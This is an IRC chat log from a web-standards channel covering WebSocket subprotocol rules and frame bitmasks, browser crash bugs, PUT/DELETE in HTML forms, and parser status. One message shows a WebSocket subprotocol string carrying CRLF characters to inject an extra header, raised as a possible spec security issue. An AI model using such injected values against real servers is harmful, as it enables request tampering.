asmodai: You can get the UA string by opening "about:"

[04:47:00.0000] <asmodai>
Philip`: ah

[05:31:00.0000] <micheil>
jgraham: did you notice a few grammatical / spelling errors in that document? some of it just doesn't seem to read right.

[05:32:00.0000] <asmodai>
Mmm

[05:32:01.0000] <asmodai>
the addon crash is different though

[05:34:00.0000] <micheil>
Hixie: I think there could be a security issue with the current websocket implementation of subprotocols.

[05:36:00.0000] <micheil>
or not.

[05:37:00.0000] <annevk>
you realize he's no longer editing or working on the protocol, right?

[05:39:00.0000] <micheil>
yeah, I thought it might've been something from the web idl side, which he is working on, iirc.

[05:40:00.0000] <micheil>
basically the thing consisted of:     conn = new WebSocket("ws://localhost/test", "test\r\nX-Origin: Hello");

[05:41:00.0000] <micheil>
but the \r and \n aren't matched to any-char, which was an oversight on my behalf.

[05:47:00.0000] <zcorpan>
micheil: the latest draft of websockets api also doesn't allow space, but can still produce a space on the wire using new WebSocket(url, ['foo', 'bar'])

[05:47:01.0000] <micheil>
hmm

[05:47:02.0000] <zcorpan>
but i think that's not implemented anywhere yet

[05:48:00.0000] <micheil>
the array of DOMStrings seems more javascript like then a string with spaces

[05:48:01.0000] <micheil>
hence the reason I suggested that format.

[05:48:02.0000] <micheil>
iirc, ["test", "foo"].toString() -> "test foo"

[05:49:00.0000] <zcorpan>
no, it toString()s to test,foo

[05:49:01.0000] <micheil>
erm, or not.

[05:49:02.0000] <micheil>
yeah

[05:50:00.0000] <micheil>
where's the latest spec version?

[05:50:01.0000] <micheil>
it's not this: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76

[05:51:00.0000] <jgraham>
micheil: Yeah there are some minor spelling / grammar errors in that document

[05:51:01.0000] <micheil>
nor does it appear to be http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-02

[05:51:02.0000] <micheil>
jgraham: okay, hopefully I've interpreted it right.

[05:51:03.0000] <zcorpan>
-02 is the latest version i'm aware of

[05:52:00.0000] <micheil>
zcorpan: okay, well that still allows spaces in the sub-protocols by the looks

[05:55:00.0000] <zcorpan>
then ian fette failed to merge in the change

[05:55:01.0000] <micheil>
okay

[05:56:00.0000] <zcorpan>
http://html5.org/tools/web-apps-tracker?from=5172&to=5173

[05:57:00.0000] <asmodai>
hsivonen: is there any standard way for titles/description for crashes due to executing stuff in memory marked no-execute?

[05:58:00.0000] <micheil>
"The subprotocol names must all be non-empty ASCII strings with no control characters and not spaces in them"

[05:58:01.0000] <micheil>
should be:

[05:58:02.0000] <micheil>
"The subprotocol names must all be non-empty ASCII strings with no control characters and no spaces in them"

[05:59:00.0000] <hsivonen>
asmodai: I don't know

[05:59:01.0000] <asmodai>
hsivonen: ok, I'll just think of something

[05:59:02.0000] <asmodai>
hsivonen: turns out the addon page crash is different from the html5test one I encountered -- thought at first it was related

[06:00:00.0000] <asmodai>
/me wonders where this instability came from so late in the beta cycle

[06:02:00.0000] <Philip`>
/me suspects it came from bugs

[06:02:01.0000] <jgraham>
/me suggests bugs in Jägermonkey in particular

[06:03:00.0000] <zcorpan>
micheil: file a spec bug

[06:03:01.0000] <micheil>
zcorpan: how?

[06:04:00.0000] <micheil>
zcorpan: also, do you know if the examples of data packets in the latest draft for websockets is correct?

[06:04:01.0000] <zcorpan>
micheil: e.g. from the comment box in http://www.whatwg.org/specs/web-apps/current-work/complete/network.html

[06:05:00.0000] <zcorpan>
micheil: which examples?

[06:05:01.0000] <hsivonen>
asmodai: radically major Jägermonkey stuff is landing

[06:05:02.0000] <micheil>
http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-02#section-4.6

[06:06:00.0000] <zcorpan>
micheil: well i guess they are correct for -02, but browsers don't implement -02

[06:07:00.0000] <micheil>
hmm.. so, that means all fields that are 0x00 or %x0 are optional?

[06:07:01.0000] <micheil>
zcorpan: I'm just wanting to understand where the spec is heading.

[06:07:02.0000] <micheil>
s/spec/protocol

[06:09:00.0000] <annevk>
today is a good day to answer http://www.w3.org/2002/09/wbs/40318/issue-41-objection-poll/

[06:11:00.0000] <kamathln>
annevk: is this channel only meant for core whatwg people ? the page is asking for auth

[06:12:00.0000] <annevk>
kamathln, nope, you can probably view http://www.w3.org/2002/09/wbs/40318/issue-41-objection-poll/results

[06:13:00.0000] <asmodai>
hsivonen: https://bugzilla.mozilla.org/show_bug.cgi?id=602174

[06:13:01.0000] <annevk>
this channel is for everyone and while somewhat focused does not have a specific topic and is most certainly without logic ;p

[06:13:02.0000] <asmodai>
Philip`: lol, obviously ;)

[06:14:00.0000] <asmodai>
hsivonen: clear enough you think?

[06:16:00.0000] <hsivonen>
asmodai: yeah

[06:16:01.0000] <hsivonen>
asmodai: might be related to GC compartments

[06:17:00.0000] <micheil>
zcorpan: hmm.. simon pieters is you?

[06:17:01.0000] <asmodai>
hsivonen: Well, I'm more than happy enough to provide more data if I am told how to get said data ;)

[06:19:00.0000] <zcorpan>
micheil: yes

[06:20:00.0000] <zcorpan>
micheil: what do you mean with optional?

[06:20:01.0000] <micheil>
nice to meet you then; anther irc nick to a name.

[06:20:02.0000] <micheil>
zcorpan: well, I was expecting that all the fields where needed

[06:20:03.0000] <zcorpan>
yeah sorry for the nick, i've had it for a long time :)

[06:20:04.0000] <micheil>
such that: 0x04 0x05 "Hello"

[06:20:05.0000] <micheil>
should actually be:

[06:21:00.0000] <micheil>
0x00 0x00 0x00 0x00 0x04 0x00 0x05 0x00 "Hello"

[06:22:00.0000] <micheil>
or am I totally misunderstanding this stuff?

[06:22:01.0000] <zcorpan>
i think yes :)

[06:22:02.0000] <micheil>
which?

[06:22:03.0000] <zcorpan>
you're misunderstanding

[06:23:00.0000] <micheil>
okay

[06:25:00.0000] <micheil>
zcorpan: would you be able to explain how I'm misunderstanding, like, it doesn't make too much sense to me to obmit what seems like actual data

[06:25:01.0000] <zcorpan>
micheil: the framing in -02 is defined down to each individual bit

[06:27:00.0000] <zcorpan>
micheil: see "A high level overview of the framing

[06:27:01.0000] <zcorpan>
   is given in the following figure."

[06:29:00.0000] <zcorpan>
so the first byte being 0x04 means that only one of the opcodes are set and the other bits are not set

[06:29:01.0000] <micheil>
am I right in reading that each time there is a horizontal segment to that figure that it means that it actually continues on?

[06:30:00.0000] <micheil>
I'm just trying to figure out how a parser may parse this new packet format

[06:31:00.0000] <micheil>
zcorpan: I'm guessing reading these diagrams would be something covered in an ITC / Network course at university level, right?

[06:32:00.0000] <zcorpan>
to find out if the text frame opcode is set, i guess you'd do something like 0x04 & first-byte

[06:32:01.0000] <zcorpan>
micheil: dunno :)

[06:33:00.0000] <micheil>
zcorpan: hmm, I'm hoping it will.

[06:34:00.0000] <micheil>
at any rate, I'm glad I'm re-writing node-websocket-server's parser, as it should make it easier to fork and implement this new packet format.

[06:35:00.0000] <zcorpan>
hmm, actually i guess 0x04 & first-byte would also be true if the opcode is e.g. 0x05

[06:35:01.0000] <Philip`>
micheil: Are you intepreting the "MORE", "RSV1" etc boxes as being a whole byte?

[06:35:02.0000] <micheil>
Philip`: I'm not sure.

[06:36:00.0000] <Philip`>
(when suggesting "0x00 0x00 0x00 0x00 0x04 ...")

[06:36:01.0000] <Philip`>
zcorpan: You'd want 0b00001111 & first-byte

[06:36:02.0000] <Philip`>
(or 0x0f & first-byte)

[06:37:00.0000] <Philip`>
Oh, wait, I missed the point

[06:37:01.0000] <Philip`>
(0x0f & first-byte) == 0x04, to detect text frames

[06:38:00.0000] <zcorpan>
ah, yes

[06:38:01.0000] <micheil>
okay

[06:39:00.0000] <micheil>
I'm going to read more into this / experiment more.

[06:39:01.0000] <Philip`>
/me hopes it's 0x0f and not 0xf0

[06:39:02.0000] <Philip`>
(I'm never quite certain which endianness these things assume)

[06:39:03.0000] <micheil>
Philip`: I'm testing this out in a v8 js console at the same time

[06:40:00.0000] <micheil>
> (0x0f & 0x04) == 0x04

[06:40:01.0000] <micheil>
true

[06:40:02.0000] <Philip`>
Yeah, it's the endianness of the spec's diagram that sometimes gets confusing

[06:41:00.0000] <asmodai>
hsivonen: Heh, got to love those updates on my issues by this timeless fella

[06:41:01.0000] <micheil>
so, for binary frame, it'd be (0x0f & 0x05) == 0x05

[06:42:00.0000] <micheil>
note to self: learn more about bitwise ops.

[06:42:01.0000] <Philip`>
Yes, or (0x0f & 0x85) == 0x05 (if the MORE flag is set), or (0x0f & 0xf5) == 0x05 etc (if the RSV flags are set too)

[06:43:00.0000] <micheil>
hmm..

[06:43:01.0000] <zcorpan>
micheil: it helps with understanding if you write out all the bits in binary notation

[06:43:02.0000] <micheil>
so you'd need to parse that byte several times to determine things

[06:44:00.0000] <Philip`>
&ing with 0x0f is just extracting the lower 4 bits, i.e. throwing away the MORE/RSV1/2/3 ones because you don't care about them here

[06:44:01.0000] <micheil>
I really should've become far better at binary counting & arithmetic.  

[06:44:02.0000] <Philip`>
and you would & with 0x80, 0x40, 0x20, 0x10 to get each of the higher 4 bits when you do care

[06:47:00.0000] <micheil>
hmm, okay

[06:48:00.0000] <micheil>
so if MORE/RSV1/2/3 were all set, then you'd get something like..

[06:48:01.0000] <micheil>
0xf4

[06:48:02.0000] <hsivonen>
what time does the HTML WG f2f end on Nov 5th?

[06:49:00.0000] <MikeSmith>
hsivonen: probably 5pm I guess

[06:49:01.0000] <hsivonen>
MikeSmith: thanks

[06:50:00.0000] <Philip`>
micheil: Yes

[06:50:01.0000] <micheil>
okay, cool.

[06:51:00.0000] <hsivonen>
I guess the practical thing to do then is traveling back on Saturday

[06:51:01.0000] <micheil>
Philip` & zcorpan: thanks for having the patience to explain things, it's really appreciated. :)

[07:48:00.0000] <asmodai>
hsivonen: setting javascript.options.methodjit.content=false solves the issues on both my tickets

[07:59:00.0000] <hsivonen>
asmodai: clearly, the bugs belong in the JS engine component, then

[08:01:00.0000] <asmodai>
hsivonen: I concur.

[08:24:00.0000] <karlcow>
/me has difficulties to see what would be the use case for PUT with forms. 

[08:25:00.0000] <karlcow>
searching through the Web to see if some people have use cases

[08:26:00.0000] <karlcow>
there is also the question: Are there CMS, Web apps using it at all? 

[08:26:01.0000] <karlcow>
I see for example http://geekswithblogs.net/narent/archive/2008/01/04/118224.aspx

[08:34:00.0000] <henrikbjorn>
karlcow: PUT = updating a object

[08:35:00.0000] <henrikbjorn>
POST = create a new one PUT = update DELETE = remove GET = retrieve

[08:35:01.0000] <henrikbjorn>
basic REST >P

[08:36:00.0000] <zcorpan>
POST handles the update and delete use cases in practice

[08:36:01.0000] <karlcow>
henrikbjorn: I know my HTTP… ;) what I meant is the use case for HTML FORMS 

[08:37:00.0000] <karlcow>
authoring tools can send HTTP PUT without html forms. so the question is really about the use case for html forms

[08:39:00.0000] <annevk>
you realize this feature got killed right

[08:39:01.0000] <annevk>
?

[08:42:00.0000] <karlcow>
annevk: yes precisely. I have seen some REST fans argueing, and being a REST fans too, I was trying to understand why. And sincerely I do not see a reason to maintain it. Basically I want to understand which use cases it *might* forbid. 

[08:42:01.0000] <micheil>
is there any reason why a lot of stuff in the websocket ietf document is "something may do something" rather then "something should do something"

[08:43:00.0000] <micheil>
zcorpan: on that, there is a practice in rails to use a _method hidden field

[08:44:00.0000] <micheil>
or a methodOverride as they call it, iirc, which allows them to send PUT / DELETE requests in browsers that don't handle PUT/DELETE in forms

[08:44:01.0000] <micheil>
it's a hack to achieve REST

[08:44:02.0000] <zcorpan>
karlcow: if PUT and DELETE were restricted to same-origin submission, then using PUT or DELETE instead of POST would enable a way to protect against CSRF

[08:45:00.0000] <Philip`>
/me notes that REST is a conceptual architecure, not a collection of specific HTTP-level implementation details

[08:45:01.0000] <Philip`>
but people sometimes seem to get fixated on the latter

[08:45:02.0000] <zcorpan>
micheil: so the form is actually sent using POST?

[08:45:03.0000] <micheil>
zcorpan: yeah

[08:46:00.0000] <micheil>
but the server sees that the POST data includes a methodOverride field, and changes the interpreted method to be that method.

[08:46:01.0000] <micheil>
which then restarts the routing process.

[08:46:02.0000] <jgraham>
zcorpan: You could also make POST2

[08:46:03.0000] <zcorpan>
jgraham: yes

[08:46:04.0000] <jgraham>
Since often POST semantics are what you want

[08:47:00.0000] <micheil>
like, you make a PUT request to a rails app, and it has the same effect as making a POST with a methodOverride set to PUT

[08:50:00.0000] <mamund>
annevk: it's not clear to me why browsers should only support idempotent writes (PUT, DELETE) via scripting (XmlHttpRequest), but not via direct markup (e.g. FORM method="put").

[08:51:00.0000] <karlcow>
mamund: what would it solve?

[08:51:01.0000] <karlcow>
FORM method="put"

[08:51:02.0000] <mamund>
the same thing the RoR "work-around" solves

[08:52:00.0000] <mamund>
idempotent writes are important for dist. networ, apps.

[08:52:01.0000] <AryehGregor>
How can you ever guarantee that a write is idempotent?  What if someone else wrote to the same resource in between?

[08:52:02.0000] <mr_lou>
/me thinks the <audio> tag of HTML5 ought to support MIDI files

[08:53:00.0000] <karlcow>
when using HTTP PUT, you know and have control on the URI you want to PUT on. Does that mean the UI cater for this?

[08:53:01.0000] <AryehGregor>
Likewise, for DELETE, what if someone created a new version of the resource in between?

[08:53:02.0000] <annevk>
mr_lou, does in Opera, iirc

[08:53:03.0000] <mamund>
AryehGregor: that's what ETags are for. 

[08:53:04.0000] <AryehGregor>
mamund, and can ETags actually be provided in HTML forms?

[08:53:05.0000] <AryehGregor>
In the manner necessary for idempotency to hold?

[08:53:06.0000] <zcorpan>
annevk: not on mac and windows i don't think

[08:53:07.0000] <AryehGregor>
mr_lou, speak to browser vendors about it.  HTML5 doesn't mandate specific media formats.

[08:54:00.0000] <mamund>
karlcow: the URI need not be created by the client, but supplied by the server. PUT for update is the best example

[08:54:01.0000] <karlcow>
AryehGregor: http://www.w3.org/1999/04/Editing/

[08:54:02.0000] <mr_lou>
AryehGregor, roger

[08:54:03.0000] <mamund>
AryehGregor: ETags are supplied for all GETs, why not PUTs and DELETEs?

[08:55:00.0000] <mamund>
Amaya browser has supported PUT/DELETE w/ ETags for quite some time. 

[08:55:01.0000] <AryehGregor>
This all seems very complicated, given that in practice the problem is typically solved at levels above HTTP anyway.  HTTP doesn't seem like the right level to solve the problem at all, it gives very coarse-grained control.

[08:55:02.0000] <karlcow>
mamund: yes I kind of know for Amaya (given my past), but it is not using forms to do that.

[08:56:00.0000] <AryehGregor>
You can do all this stuff easily at the level of the web application, without having to try persuading your web server to cooperate.

[08:56:01.0000] <mamund>
karlcow: yes, good point

[08:56:02.0000] <AryehGregor>
/me shrugs

[08:56:03.0000] <karlcow>
we are mixing two discussions here. HTTP PUT (that I love), and HTTP PUT in forms

[08:57:00.0000] <mamund>
karlcow: is PUT w/ FORMS a technical issue or what?

[08:58:00.0000] <mamund>
i use a scripting workaround to support FORM method="put" quite often w/o trouble.

[08:59:00.0000] <karlcow>
mamund: http://www.w3.org/Bugs/Public/show_bug.cgi?id=10671

[08:59:01.0000] <mamund>
karlcow: yep, i've seen it. 

[09:00:00.0000] <mamund>
karlcow: "payload control" is an odd reference. (re: PUT)

[09:01:00.0000] <mamund>
as to the reasoning for DELETE, currently POST has 200 & 204 as potential response codes already.

[09:02:00.0000] <karlcow>
/me would love to read a user scenario of a real PUT and DELETE done with forms. 

[09:03:00.0000] <mamund>
karlcow: would love to read a user scenario for a real POST done w/ forms<g>.

[09:03:01.0000] <karlcow>
hehe

[09:03:02.0000] <mamund>
srsly: what user scenario would be compelling?

[09:04:00.0000] <mamund>
surely the thousands of cases where XmlHttpRequest issues PUT & DELETE carries some weight, no?

[09:04:01.0000] <jgraham>
/me wonders how one answers that sort of question

[09:04:02.0000] <mamund>
is it really the "FORM" use that is unappealing here?

[09:04:03.0000] <jgraham>
"give me a use case" "not until you tell me which use case is compelling"

[09:04:04.0000] <mamund>
jgraham: LOL

[09:06:00.0000] <mamund>
i wonder if this would go differently if someone proposed a new element <put ... /> instead of a new enumeration for FORM method="..."

[09:07:00.0000] <Philip`>
If someone proposed that, people would probably respond "how does that even make sense?"

[09:07:01.0000] <jgraham>
mamund: "show me the use case" is not intended as a smack-down

[09:08:00.0000] <mamund>
jgraham: i understand. np.

[09:08:01.0000] <jgraham>
It's supposed to be a way of determining if there is a real need that is not being met

[09:08:02.0000] <jgraham>
A surprising number of "needs" are actually imaginary

[09:08:03.0000] <mamund>
i think the RoR workaround is an example of a common use case, is it not?

[09:09:00.0000] <karlcow>
because I started the discussion here about it. My "show me the use case" means I really want to understand what are the cases for method="put". Maybe there is a good use case, but I still do not see one. 

[09:11:00.0000] <mamund>
karlcow: i use PUT to support sending updates of existing resources in an idempotent way (using ETags for concurrency)

[09:11:01.0000] <karlcow>
with a web form?

[09:11:02.0000] <mamund>
w/o PUT support for unscripted browsers, i need to mimic the same features by using POST w/ an ETag hash in the FORM.

[09:12:00.0000] <mamund>
karlcow: yes, with a FROM

[09:12:01.0000] <mamund>
s/FROM/FORM

[09:12:02.0000] <karlcow>
could you explain it in details in the Bugzilla?

[09:12:03.0000] <mamund>
i'll add a comment there, yes.

[09:13:00.0000] <karlcow>
thanks

[09:40:00.0000] <karlcow>
wiiiizzz http://benmetcalfe.com/blog/2010/10/the-ly-domain-space-to-be-considered-unsafe/

[09:44:00.0000] <paul_irish>
holon lemme one up you, karlcow

[09:44:01.0000] <paul_irish>
http://tech.slashdot.org/story/10/10/06/1440246/W3C-Says-Dont-Use-HTML5-Yet

[09:45:00.0000] <karlcow>
paul_irish: why me? :)

[09:47:00.0000] <AryehGregor>
karlcow, so someone figured out that ccTLDs are actually run by individual countries?  Gee, who'd have thought?

[09:47:01.0000] <AryehGregor>
I thought they were just like .com except that you can use them to make clever-looking domain names like "bit.ly"!

[09:47:02.0000] <AryehGregor>
I'm sure a lot of people do think that, in fact, but . . . they're wrong.  No kidding you don't want to violate Libyan law on a .ly domain name.

[09:49:00.0000] <AryehGregor>
"Meanwhile, HTML5 is headed toward final approval in two to three years." hahahahaha right.

[09:49:01.0000] <AryehGregor>
CR, yeah, as in "deliberately obsolescent snapshot of a feature set no one cares about or targets anymore".

[09:50:00.0000] <AryehGregor>
(I think they just misunderstood plh, though, I doubt he'd have called CR "final approval".)

[09:51:00.0000] <AryehGregor>
What a stupid article.

[09:51:01.0000] <hsivonen>
at least the comments on Slashdot are pretty good this time

[09:52:00.0000] <karlcow>
Paul Krill seems to have something against it http://www.infoworld.com/d/developer-world/microsoft-silverlight-capabilities-exceed-those-html5-329

[09:52:01.0000] <AryehGregor>
(I mean the InfoWorld one about HTML5 cited on Slashdot.  Although the one whining about registering a domain name under a TLD controlled by a corrupt third-world dictatorship and then actually having to deal with a corrupt third-world dictatorship, that one's pretty stupid too.)

[09:53:00.0000] <paul_irish>
AryehGregor: yah plh is doing a bunch of html5 evangelism himself.. just spoke at openvideoconf about html5 video and svg.. so i dont think this is what he intended.

[09:55:00.0000] <karlcow>
and I do not think he actually said this ""We're not going to retire Flash anytime soon," Le Hegaret said. "

[10:10:00.0000] <AryehGregor>
A surprising number of people on Slashdot seem to not understand why standardization takes so long.

[10:10:01.0000] <AryehGregor>
Maybe someone should write up an article explaining, and get it Slashdotted.

[10:11:00.0000] <TabAtkins>
Sure, I'll spin up a task force to write it.

[10:11:01.0000] <KaOSoFt>
Perhaps that people still want tag soups, blink, and that...

[10:12:00.0000] <jgraham>
Can I be on the section-heading sub task force

[10:12:01.0000] <jgraham>
Or is it sub-committee, I forget?

[10:12:02.0000] <TabAtkins>
Please, there will be plenty of sub task forces for everyone.

[10:13:00.0000] <Philip`>
How can you even begin to consider the structure of the task force before having a conference call to discuss it?

[10:14:00.0000] <zcorpan>
Philip`: when's the call? have you written the agenda?

[10:14:01.0000] <jgraham>
Strictly we should probably set up an incubator group to assess the need for a task force in this area

[10:15:00.0000] <Philip`>
I don't know when - we'll need a poll to work out when the most important people are available

[10:15:01.0000] <jgraham>
If the incubator group produces anything we can work out a charter for the task force

[10:15:02.0000] <jgraham>
Mandatory telecons can go in the charter

[10:16:00.0000] <zcorpan>
Philip`: a poll? maybe we need a new protocol to do the poll properly

[10:17:00.0000] <Philip`>
That would be outside our jurisdiction so we'd have to outsource it to the IETF

[10:18:00.0000] <micheil>
man... >_>

[10:20:00.0000] <tw2113>
woman...

[10:20:01.0000] <tw2113>
:D

[10:20:02.0000] <AryehGregor>
In the computer lab at school the other day, I heard two guys discussing HTML5.

[10:20:03.0000] <variable>
AryehGregor, did they know who you were ;-)

[10:20:04.0000] <AryehGregor>
One guy was showing the other guy something, and the other guy asked what it was written in, and the first guy said something like "Pure HTML5, it's really powerful!"

[10:20:05.0000] <karlcow>
AryehGregor: http://www.w3.org/QA/2008/11/w3c-open-web-standards

[10:20:06.0000] <AryehGregor>
I tried sneaking a look, but they saw me and I didn't want to weird them out.

[10:21:00.0000] <AryehGregor>
It seemed to be some trivial thing with balls bouncing around or whatnot.

[10:21:01.0000] <tw2113>
oh just weird people out, it's worth it and they need their feather ruffled

[10:21:02.0000] <Philip`>
Like Google's "HTML5" thing made with coloured <div>s?

[10:21:03.0000] <tw2113>
it's a spice of life

[10:22:00.0000] <AryehGregor>
variable, I could have introduced myself, but it would have been a bit weird.

[10:22:01.0000] <AryehGregor>
Philip`, yeah, it looked like that.

[10:22:02.0000] <AryehGregor>
But I'm guessing it was done with canvas.

[10:22:03.0000] <tw2113>
that ball thing from google was all javascript

[10:25:00.0000] <AryehGregor>
Well, JavaScript is part of HTML5, effectively.

[10:25:01.0000] <AryehGregor>
Some HTML5 stuff is purely JS APIs.

[10:25:02.0000] <AryehGregor>
Like canvas.  Not too useful without JS.

[10:26:00.0000] <jgraham>
Some of DOM is part of HTML5

[10:26:01.0000] <jgraham>
Javascript isn't

[10:26:02.0000] <jgraham>
If we are being pedantic

[10:26:03.0000] <jgraham>
/me doesn't really see the point of being pedantic on this issue though

[10:26:04.0000] <variable>
HTML5 is an evangelicalism term

[10:26:05.0000] <variable>
like AJAX years ago :-|

[10:27:00.0000] <tw2113>
just remember...html5 canvas needs js more than js needs anything html5

[10:28:00.0000] <loucapo>
hey everyone

[10:29:00.0000] <loucapo>
i know there is a Firefox bug related to xmlhttplevel 2 and status codes

[10:30:00.0000] <loucapo>
another issue i recently ran into relates to xmlhttp posts to a pwd protected url. this works ok in chrome/safari but firefox is failing with the annoying status=0 ssue

[10:30:01.0000] <loucapo>
anyone know if thats a known bug?

[10:36:00.0000] <loucapo>
here is the bug i was referring to 

[10:36:01.0000] <loucapo>
https://bugzilla.mozilla.org/show_bug.cgi?id=597301

[11:31:00.0000] <TabAtkins>
Recursive reference: https://twitter.com/miksago/status/26566110962

[11:31:01.0000] <micheil>
hmm?

[11:32:00.0000] <TabAtkins>
Oh!  I didn't even realize it was you that posted it.  ^_^

[11:32:01.0000] <micheil>
haha.

[12:30:00.0000] <jgraham>
TabAtkins: I can't believe I saw that on WHATWG IRC!

[12:33:00.0000] <jgraham>
In unrelated news, today's xkcd is cool

[12:34:00.0000] <TabAtkins>
It is!

[12:39:00.0000] <TabAtkins>
jgraham: Where can I get info about the html test harness?

[12:40:00.0000] <jgraham>
TabAtkins: Info of waht sort?

[12:40:01.0000] <TabAtkins>
Sufficient information to write a test using it.

[12:40:02.0000] <jgraham>
Hmm, the documentation is not great

[12:41:00.0000] <jgraham>
I can fix that now I guess

[12:41:01.0000] <TabAtkins>
That'd be cool.  Pilgrim is asking me about it, and apparently doesn't want to start irc on his mac.

[12:59:00.0000] <hober>
IE9 will be shipping with the HTML5 parser, right? While I'm asking, have either Safari or Chrome shipped the parser yet?

[13:11:00.0000] <MikeSmith>
hober: IE9 parser is not conformant

[13:11:01.0000] <MikeSmith>
unfortunately

[13:12:00.0000] <MikeSmith>
and the WebKit HTML5 parser has not shipped in normal Safari or Chrome yet, afaik

[13:12:01.0000] <MikeSmith>
I think it's in the current Chrome betas though

[13:12:02.0000] <MikeSmith>
or I would sure think it would be by now

[13:13:00.0000] <MikeSmith>
Chrome 7 beta

[13:13:01.0000] <TabAtkins>
I *think* it is, but I'd have to ask to make sure.

[13:13:02.0000] <TabAtkins>
Or you can hand me a testcase that'll only pass in an HTML5-compliant parser, and I'll check what I have.

[13:31:00.0000] <rubys1>
hober: ping?

[13:32:00.0000] <hober>
rubys1: yo

[13:33:00.0000] <rubys>
Saw the discussion on www-archive re libxml2...

[13:33:01.0000] <rubys>
I think the key is to get libxml2 to pass the same tests as Henri's parser does

[13:33:02.0000] <hober>
oh, if the libxml2 guys want to impl the html5 parsing algorithm, i'm all for it

[13:33:03.0000] <hober>
that would be awesome

[13:34:00.0000] <rubys>
that's the key IF.  Any evidence that that is the case?

[13:35:00.0000] <hober>
I have no evidence either way

[13:36:00.0000] <hober>
this thread came out of the nodejs list, on which I was advocating using Aria's JS impl of the HTML5 parser and not the libxml2 HTML parser

[13:40:00.0000] <rubys>
My guess is that Aria is more compliant but libxml2 is much faster.

[13:40:01.0000] <rubys>
quick scan, and I see a thread from 2008 about libxml2 implementing html5 that seems to have died...

[13:42:00.0000] <hober>
*nod*. for my needs, correct trumps fast as I'm using the parser in the publication workflow of what ends up being a pile of static assets served by apache

[13:42:01.0000] <hober>
scales nicely :)

[13:43:00.0000] <rubys>
libxml2 is used widely; I once tried to help maintain a Ruby port of the html5 library, but have slipped back to using libxml2.

[13:43:01.0000] <rubys>
speed wasn't the issue for me... support was.

[13:52:00.0000] <jarib>
rubys: is there a C port though? that would make it easy to wrap in whatever language and keep decent speed

[13:53:00.0000] <rubys>
hsivonen's has code that converts his java parser into C and then includes that into firefox; the problem is that that code presumes that you have mozilla's runtime library

[13:54:00.0000] <jarib>
right

[13:54:01.0000] <rubys>
I think the right thing to do is to pelt the libxml2 guys with bug reports :-P

[13:54:02.0000] <rubys>
Anybody remember where the test suite is for html5lib?  (I used to know...)

[13:54:03.0000] <jarib>
/me doesn't

[13:55:00.0000] <hober>
hg clone https://html5lib.googlecode.com/hg/ html5lib

[13:55:01.0000] <hober>
then it's html5lib/testdata

[13:55:02.0000] <rubys>
oh, I thought it was a separate project...

[13:55:03.0000] <hober>
oh, could be. I've been pulling it out of html5lib for the elisp tokenizer

[13:56:00.0000] <MikeSmith>
I would doubt that the libxml2 HTML parser would ever pass the html5lib tests without pretty much being rewritten

[13:59:00.0000] <jgraham>
It isn't a seperate project

[14:18:00.0000] <mamund>
jgraham: posted my comments on PUT/DELETE into bugzilla. hopefully they make sense/are helpful. i'll be avail for follow up. thanks.

[15:02:00.0000] <hober>
Like annevk said, today is a good day to answer http://www.w3.org/2002/09/wbs/40318/issue-41-objection-poll/

[15:14:00.0000] <TabAtkins>
hober: Aryeh and Henri stated everything that I would have said.

[15:15:00.0000] <Dashiva>
Can someone link the results page, I don't remember how to transform the URL

[15:15:01.0000] <TabAtkins>
http://www.w3.org/2002/09/wbs/40318/issue-41-objection-poll/results

[15:15:02.0000] <Dashiva>
Thanks

[15:16:00.0000] <Dashiva>
Oh, you just append results?

[15:16:01.0000] <TabAtkins>
Yeah.

[15:30:00.0000] <rubys>
mamund: what's the bug number?

[15:30:01.0000] <mamund>
hmmm

[15:30:02.0000] <mamund>
rubys: http://www.w3.org/Bugs/Public/show_bug.cgi?id=10671

[15:32:00.0000] <MikeSmith>
in natural languages, what is the difference between lexical and syntactic? 

[15:32:01.0000] <MikeSmith>
or in the study of linguistics

[15:32:02.0000] <MikeSmith>
is there a difference?

[15:32:03.0000] <hober>
MikeSmith: asking my wife (a computational linguist)

[15:33:00.0000] <rubys>
mamund: POST responses are NOT cacheable.

[15:33:01.0000] <mamund>
if caching directives are supplied, they can be honored, right?

[15:34:00.0000] <rubys>
ah, there is an 'unless' in there.

[15:34:01.0000] <MikeSmith>
hober: maybe syntactic = about sentences

[15:34:02.0000] <mamund>
yeah, not common, but possible

[15:34:03.0000] <MikeSmith>
or grammatically complete utterances

[15:34:04.0000] <MikeSmith>
whatever the general term is for those

[15:34:05.0000] <hober>
MikeSmith: "Lexical = to do with words \n the lexicon \n syntax = how the words relate to each other to form coherent sentences"

[15:34:06.0000] <hober>
yeah, you got it

[15:34:07.0000] <MikeSmith>
aha

[15:35:00.0000] <MikeSmith>
hober: thanks much

[15:35:01.0000] <jgraham>
My g/f said the same

[15:35:02.0000] <MikeSmith>
jgraham: thanks

[15:35:03.0000] <jgraham>
and she is a linguist by training

[15:35:04.0000] <MikeSmith>
ok

[15:36:00.0000] <jgraham>
MikeSmith: Why were you wondering?

[15:36:01.0000] <hober>
re: web geekery & linguistics, my wife's blog: http://snowclones.org/

[15:37:00.0000] <MikeSmith>
jgraham: I was reading a text that describes V-V compounds

[15:37:01.0000] <MikeSmith>
compound verbs

[15:37:02.0000] <MikeSmith>
Japanese compound verbs

[15:38:00.0000] <MikeSmith>
and it says there are two types of Japanese V-V compounds

[15:38:01.0000] <MikeSmith>
one is lexical V-V compounds

[15:38:02.0000] <MikeSmith>
which is the normal kind that most such verbs fall into

[15:38:03.0000] <MikeSmith>
the second time is syntactic V-V compounds

[15:39:00.0000] <MikeSmith>
in which the second verb in the pair is a verb that relates to beginning, ending, or continuing something

[15:39:01.0000] <MikeSmith>
which verbs are apparently called "aspectual" verbs

[15:42:00.0000] <jgraham>
As in http://en.wikipedia.org/wiki/Grammatical_aspect I assume

[15:56:00.0000] <MikeSmith>
jgraham: yeah, seems so

[16:17:00.0000] <jgraham>
TabAtkins: Pushed some very incomplete documentation to testharness.js

[16:19:00.0000] <ojan>
does anyone know which url is the right one for the new web dom core spec? i have like 5 different versions in various emails. not sure which is the one to read and comment on.

[16:20:00.0000] <ojan>
gsnedders: ^^^ maybe you know? your name is on one of the specs i'm looking at. :)


2010-10-07
[17:10:00.0000] <gsnedders>
ojan: Which version of annevk's is latest

[17:11:00.0000] <ojan>
gsnedders: that's what i was wondering :)

[17:12:00.0000] <gsnedders>
s/Which/Whichever.

[17:12:01.0000] <gsnedders>
s#.#/#

[17:13:00.0000] <gsnedders>
/me doesn't know more than that

